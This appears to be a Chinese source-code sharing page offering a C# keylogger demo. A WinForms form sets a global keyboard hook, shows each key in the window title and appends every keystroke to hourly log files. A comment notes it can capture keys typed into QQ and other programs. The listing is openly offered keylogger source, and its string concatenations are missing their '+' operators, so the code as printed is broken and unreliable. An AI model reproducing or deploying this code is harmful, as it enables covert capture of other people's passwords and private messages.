基本信息
源码名称:C# 监听键盘 按键记录 示例源码(亲测通过)
源码大小:0.06M
文件格式:.zip
开发语言:C#
更新时间:2017-11-02
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   源码介绍

利用C#编写键盘记录,按键会显示在窗体的标题中,如下图


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace 键盘记录
{
    public partial class frm主窗口 : Form
    {
        public frm主窗口()
        {
            InitializeComponent();
        }

        private void frm主窗口_Load(object sender, EventArgs e)
        {
            KeyboardHook kh = new KeyboardHook();
            kh.SetHook();
            kh.OnKeyDownEvent  = kh_OnKeyDownEvent;
        }
        void kh_OnKeyDownEvent(object sender, KeyEventArgs e)
        {
            this.Text = e.KeyData.ToString();
            //记录键盘事件可记录QQ等键盘按下的消息
            string down = e.KeyData.ToString();
            if (!Directory.Exists(Application.StartupPath   "\\log\\"))
            {
                Directory.CreateDirectory(Application.StartupPath   "\\log\\");
            }
            string path = Application.StartupPath   "\\log\\"   DateTime.Now.Year.ToString()   DateTime.Now.Month.ToString()   DateTime.Now.Day.ToString()   DateTime.Now.Hour.ToString()   ".log";
            File.AppendAllText(path, down);

        }
    }
}